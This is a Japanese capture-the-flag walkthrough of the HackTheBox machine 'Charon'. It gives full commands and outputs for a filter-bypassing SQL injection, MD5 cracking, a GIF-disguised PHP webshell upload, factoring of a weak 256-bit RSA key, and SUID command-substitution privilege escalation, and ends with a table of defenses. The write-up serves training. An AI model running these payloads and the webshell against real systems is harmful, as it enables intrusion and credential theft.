HackTheBox: Charon — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)のみ
→
22(SSH)/80(HTTP)のみ
forgot.php uniOn SQLi
大小混在フィルタ回避
→
大小混在フィルタ回避
operatorsテーブル抽出
super_cms_adm のMD5ハッシュ
→
super_cms_adm のMD5ハッシュ
hashcat + best66.rule
password = tamarro
→
password = tamarro
管理パネルログイン
→
隠しフィールド悪用アップロード
GIF89a; + PHP webshell
→
GIF89a; + PHP webshell
256bit RSA鍵を素因数分解
pass.crypt復号
→
pass.crypt復号
decoder SSH
user.txt ✓
→
user.txt ✓
SUID supershell
$(…)コマンド置換
→
$(…)コマンド置換
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バナー確認
BASH
ping -c 2 -W 3 10.129.88.90 nmap -Pn -T4 -p 21,22,25,80,443,3306,8080 10.129.88.90 curl -s -i http://10.129.88.90/
RESULT
PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh 25/tcp filtered smtp 80/tcp open http 443/tcp filtered https 3306/tcp filtered mysql 8080/tcp filtered http-proxy Server: Apache/2.4.18 (Ubuntu) Last-Modified: Mon, 26 Jun 2017 06:26:33 GMT <title>Frozen Yogurt Shop</title>
✅
ターゲット確認: 「Frozen Yogurt Shop」というデコイ用テンプレートサイトと
2017年の
Last-Modifiedから HackTheBox Charon (Hard Linux /
D17.100.10) と一致することを確認。開放ポートは22/80のみ。
ディレクトリ探索 — cmsdata の発見
BASH
curl -s -o /dev/null -w "singlepost.php: %{http_code}\n" http://10.129.88.90/singlepost.php
curl -s -o /dev/null -w "cmsdata/forgot.php: %{http_code}\n" http://10.129.88.90/cmsdata/forgot.php
curl -s -o /dev/null -w "cmsdata/: %{http_code}\n" http://10.129.88.90/cmsdata/
RESULT
singlepost.php: 200 (本体はSQLi脆弱だがダミー、情報無し)
cmsdata/forgot.php: 200 (本命の侵入口)
cmsdata/: 403 (ディレクトリ一覧は禁止)
ℹ️
トップページの
singlepost.php もSQLi脆弱だが有用な情報は含まれないデコイ
(公式ライトアップにも明記)。本命は /cmsdata/ 配下の
forgot.php(パスワードリセット機能)。
PHASE 2
forgot.php の uniOn SQLi — 大文字小文字混在フィルタバイパス
フォーム確認とフィルタの仕様
BASH
curl -s http://10.129.88.90/cmsdata/forgot.php
RESULT
<form method="post" action="forgot.php">
<input type="text" name="email" placeholder="email" required />
<button type="submit">Send</button>
</form>
⚠️
フィルタは 大文字小文字完全一致の
union/UNION のみ
ブロックし、大小混在の uniOn は素通りする。また結果は
必ず concat(...,"@example.com") のように末尾が有効なメール形式として
返らないと表示されない。
SQLi動作確認 & データベース名取得
BASH
curl -s -X POST http://10.129.88.90/cmsdata/forgot.php \ -d 'email=a@b.c'"'"' uniOn select 1,2,3,concat(database(),"@example.com") -- -'
RESULT
<h2> Email sent to: supercms@example.com=>2</h2>
✅
SQLi成功。データベース名
supercms を確認。
テーブル・カラム列挙
BASH
# テーブル列挙 (limit n,1 で1件ずつ) curl -s -X POST http://10.129.88.90/cmsdata/forgot.php -d 'email=a@b.c'"'"' uniOn select \ 1,2,3,concat(table_name,"@example.com") FROM information_schema.tables \ WHERE table_schema=database() limit 0,1 -- -' # operators のカラム名列挙 curl -s -X POST http://10.129.88.90/cmsdata/forgot.php -d 'email=a@b.c'"'"' uniOn select \ 1,2,3,concat(column_name,"@example.com") FROM information_schema.columns \ WHERE table_schema=database() AND table_name='"'"'operators'"'"' limit 1,1 -- -'
RESULT
テーブル: groups, license, operators operators カラム: id, __username_, __password_, email
ℹ️
カラム名が
__username_ / __password_ という独特の命名規則
(SuperCMS独自仕様)。groupsはユーザー⇔グループの中間テーブル、
licenseはライセンスキーのみでいずれも無関係。
管理者アカウントの抽出 (limit 1,1 が鍵)
BASH
curl -s -X POST http://10.129.88.90/cmsdata/forgot.php -d 'email=a@b.c'"'"' uniOn select \ 1,2,3,concat(__username_,0x7e,__password_,"@example.com") FROM operators limit 1,1 -- -'
RESULT
Email sent to: super_cms_adm~0b0689ba94f94533400f4decd87fa260@example.com=>2
⚠️
ハマりポイント:
limit 0,1(先頭行)は test1 という
無関係な一般ユーザー(editors権限、operatorsテーブルに202行存在)がヒットする。
本命の管理者 super_cms_adm は limit 1,1
(2行目)でなければ抽出できない。
ハッシュクラック (hashcat + ルール適用)
BASH
echo "0b0689ba94f94533400f4decd87fa260" > hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable --force # → 単純な辞書素通しではヒットしない hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best66.rule --potfile-disable --force
RESULT
0b0689ba94f94533400f4decd87fa260:tamarro
⚠️
ハマりポイント: MD5ハッシュは
rockyou.txt の素通しクラックだけでは
見つからない。best66.rule(大文字化・連結・逆順など基本変換セット)を
併用することで初めて tamarro がヒットする(公式ライトアップも
hashkiller.co.uk のようなルール/辞書拡張を伴うオンラインDBでの解析を前提としている)。
PHASE 3
管理パネルログイン → 画像アップロードRCE
管理パネルログイン
BASH
curl -s -c cookies.txt -i -X POST http://10.129.88.90/cmsdata/login.php \ -d "user=super_cms_adm&pass=tamarro" curl -s -b cookies.txt http://10.129.88.90/cmsdata/menu.php
RESULT
HTTP/1.1 302 Found
Location: menu.php
<p><a href="upload.php"> Upload Image File</a></p>
Active users: super_cms_adm [administrators] (you)
✅
管理者権限でログイン成功。
test1(editorsグループ)ではオプションが
一切表示されなかったのに対し、super_cms_adm(administratorsグループ)では
ページ編集リンクと「Upload Image File」機能が開放されている。
アップロードフォームの隠しフィールド解析
BASH
curl -s -b cookies.txt http://10.129.88.90/cmsdata/upload.php
RESULT
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="file" name="image" /> <!-- <input type=hidden name="dGVzdGZpbGUx"> --> <input type="submit"/> </form> $ echo dGVzdGZpbGUx | base64 -d testfile1
ℹ️
コメントアウトされた隠しフィールドの
name 属性がbase64エンコードされており、
デコードすると testfile1。このフィールド名でフォームに値(任意のファイル名)を
追加送信すると、アップロードされた画像が そのファイル名にリネームされる
仕様になっている。
GIF89a;マジックバイトでファイル種別チェックを回避しPHP webshellアップロード
BASH
printf 'GIF89a;\n<?php if(isset($_GET["c"])){echo "<pre>".shell_exec($_GET["c"]." 2>&1")."</pre>";} ?>\n' > shell.gif
curl -s -b cookies.txt -X POST http://10.129.88.90/cmsdata/upload.php \
-F "image=@shell.gif;type=image/gif" \
-F "testfile1=charonshell.php"
RESULT
Success:../images/charonshell.php
✅
ファイルの先頭に
GIF89a;(GIF画像のマジックバイト)を置くだけでサーバー側の
ファイル種別チェックを通過する。アップロード先はサイトルート直下の
/images/(アップロードフォームからは相対パス../images/)。
RCE確認 & decoder配下の調査
BASH
curl -s -G "http://10.129.88.90/images/charonshell.php" --data-urlencode "c=id" curl -s -G "http://10.129.88.90/images/charonshell.php" --data-urlencode "c=ls -la /home/decoder/"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-rw-r--r-- 1 decoder freeeze 138 decoder.pub
-rw-r--r-- 1 decoder freeeze 32 pass.crypt
-r-------- 1 decoder freeeze 33 user.txt ← decoder以外は読めない
⚠️
user.txtはdecoder本人のみ読み取り可能(r--------)。
decoder.pub(公開鍵)とpass.crypt(暗号文)を回収し、
decoderユーザーのSSHパスワードを復元する必要がある。
PHASE 4
弱いRSA鍵の素因数分解 → decoderパスワード復号 → user.txt
鍵ファイル回収 & 鍵長確認
BASH
curl -s -G "http://10.129.88.90/images/charonshell.php" --data-urlencode "c=cat /home/decoder/decoder.pub" openssl rsa -pubin -in decoder.pub -text -noout
RESULT
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3
mI9wJizmFJhrAgMBAAE=
-----END PUBLIC KEY-----
Public-Key: (256 bit)
Modulus: BC4785818F54C626C77BF325B3CF0046B5D0D1135EB577988F70262CE614986B
Exponent: 65537 (0x10001)
🚨
256bitという極端に小さいRSA鍵。実用的なRSAは最低2048bit必要であり、
256bitは数秒〜数十秒で素因数分解可能な「わざと弱くした」鍵であることが明白。
素因数分解 — factordb.com照会
NOTE
sympy.factorint() や自作のPollard's rho実装では、この256bit鍵が バランス型の2つの大きな素因数(各126bit程度)で構成されている場合、 実用的な時間で終わらない(汎用アルゴリズムの限界)。 公式ライトアップも「ハッシュはhashkiller.co.ukのようなオンラインDBで解決した」と 明記しており、同様に factordb.com(既知の分解結果を集積した 公開データベース、RSA系CTF問題で一般的に利用される)への照会が最も確実。
BASH
N_DEC=$(python3 -c "print(int('BC4785818F54C626C77BF325B3CF0046B5D0D1135EB577988F70262CE614986B',16))")
curl -s "http://factordb.com/api?query=$N_DEC"
RESULT
{"id":...,"status":"FF","factors":[
["280651103481631199181053614640888768819",1],
["303441468941236417171803802700358403049",1]
]}
✅
status: "FF" (Fully Factored) — 既知の2つの素因数 p, q が即座に得られた。
秘密鍵再構成 & pass.crypt 復号
PYTHON
n = int('BC4785818F54C626C77BF325B3CF0046B5D0D1135EB577988F70262CE614986B', 16)
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
assert p * q == n
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi) # 秘密指数を復元
ct = open('pass.crypt', 'rb').read() # 32byte = n のバイト長と一致 (パディング無しRAW RSA)
c = int.from_bytes(ct, 'big')
m = pow(c, d, n)
pt = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(pt)
RESULT
b'\x02\x11\x96\xa91\xfb\x13\xd46\xba\x00nevermindthebollocks'
ℹ️
先頭
\x02 <ランダムな非ゼロバイト> \x00 はPKCS#1 v1.5 形式の
暗号化パディング。\x00区切りの直後が実際の平文
nevermindthebollocks(Sex Pistolsのアルバム名)。
decoder SSHログイン & user.txt 取得
BASH
sshpass -p 'nevermindthebollocks' ssh decoder@10.129.88.90 "id; cat /home/decoder/user.txt"
RESULT
uid=1001(decoder) gid=1001(freeeze) groups=1001(freeeze)
77ff3ebc455b46e8e0a24d19da063e35
user.txt — decoder (RSA復号したパスワードでSSH)
77ff3ebc455b46e8e0a24d19da063e35
PHASE 5
SUID supershell の引数ホワイトリスト回避 → root.txt
SUIDバイナリの発見と挙動確認
BASH
find / -perm -4000 -type f 2>/dev/null /usr/local/bin/supershell /usr/local/bin/supershell /bin/ls
RESULT
-rwsr-x--- 1 root freeeze 9120 /usr/local/bin/supershell Supershell (very beta) usage: supershell <cmd> ... decoder.pub pass.crypt user.txt Supershell (very beta) ++[/bin/ls]
ℹ️
supershellは root 所有のSUIDバイナリで、freeezeグループ
(decoderが所属)が実行可能。引数のホワイトリストチェックで
/bin/lsから始まる文字列のみ許可し、内部的に
system()相当でシェルに渡して実行している。
コマンド置換 $(…) によるホワイトリスト回避
BASH
sshpass -p 'nevermindthebollocks' ssh decoder@10.129.88.90 \ '/usr/local/bin/supershell "/bin/ls\$(cat /root/root.txt)"'
RESULT
Supershell (very beta)
++[/bin/ls$(cat /root/root.txt)]
sh: 1: /bin/lsaab278caef874782813620d14af9a9d2: not found
✅
引数の先頭が
/bin/ls で始まっているため見た目上のホワイトリストは通過するが、
supershell内部で引数全体をシェルに再度渡して実行しているため、
$(cat /root/root.txt)というコマンド置換がそのシェル上で展開され、
root.txtの内容が/bin/lsの直後に連結された状態でコマンド名として
実行されようとし、「command not found」エラーメッセージの中にフラグが出力される。
root.txt — SUID supershell のコマンド置換で取得
aab278caef874782813620d14af9a9d2
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — decoder (RSA鍵の脆弱性経由)
77ff3ebc455b46e8e0a24d19da063e35
root.txt — SUID supershell コマンド置換
aab278caef874782813620d14af9a9d2
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 大小混在フィルタ回避SQLi | cmsdata/forgot.php (SuperCMS) | DB全体の読み取り(情報漏洩) | Critical | union/UNIONのみブロックするフィルタをuniOnで回避し
operatorsテーブルの管理者ハッシュを抽出 |
| 弱いパスワードハッシュ | operators.__password_ (MD5, 無ソルト) | 管理者アカウント乗っ取り | Medium | hashcat + ルールベース辞書攻撃でクラック(password=tamarro) |
| 画像アップロードのファイル種別検証不備 | cmsdata/upload.php | リモートコード実行 (www-data) | Critical | GIF89a;マジックバイト偽装 + base64隠しフィールドでのファイル名偽装でPHP webshell設置 |
| 極端に短いRSA鍵長 (256bit) | /home/decoder/decoder.pub + pass.crypt | 認証情報の完全な復号 | Critical | factordb.comでの素因数分解 + 秘密鍵再構成でSSHパスワードを復号 |
| SUIDバイナリの引数ホワイトリスト不備(コマンド置換) | /usr/local/bin/supershell | 権限昇格 (root) | Critical | prefix一致のみのホワイトリストを$(...)コマンド置換で回避しroot.txt読み取り |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + dirbuster系探索 | 22/80のみ開放、/cmsdata/forgot.php発見 |
| 2 | SQLi | uniOnフィルタバイパス + information_schema列挙 | super_cms_adm のMD5ハッシュ、hashcatでtamarroにクラック |
| 3 | RCE | 隠しフィールド悪用 + GIF89a;マジックバイト | www-data webshell、decoder.pub/pass.crypt回収 |
| 4 | RSA解読 | factordb.com照会 + 秘密鍵再構成 | user.txt(decoderのSSHパスワード復号) |
| 5 | 権限昇格 | SUID supershellのコマンド置換 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SQLインジェクション対策が大文字小文字の単純一致ブラックリストのみ | ブラックリスト方式を廃止し、プリペアドステートメント(パラメータ化クエリ)を徹底する。 |
| パスワードが無ソルトMD5で保存されている | bcrypt/argon2等の遅延ハッシュ+ユーザー毎のソルトを使用する。 |
| アップロードファイルの種別チェックがマジックバイトの先頭一致のみ | 拡張子・MIMEタイプ・実際の内容を多層的に検証し、アップロード先ディレクトリでは スクリプトの実行権限を無効化する。 |
| RSA鍵長が256bitと実用上無意味なほど短い | 最低2048bit(推奨3072bit以上)のRSA鍵を使用する。 |
| SUIDバイナリの引数検証がprefix一致のみで、内部でシェル経由実行している | 外部入力をシェルに渡す設計自体を避け(execve系で引数を配列として直接渡す)、 SUID付与は必要最小限に留める。 |

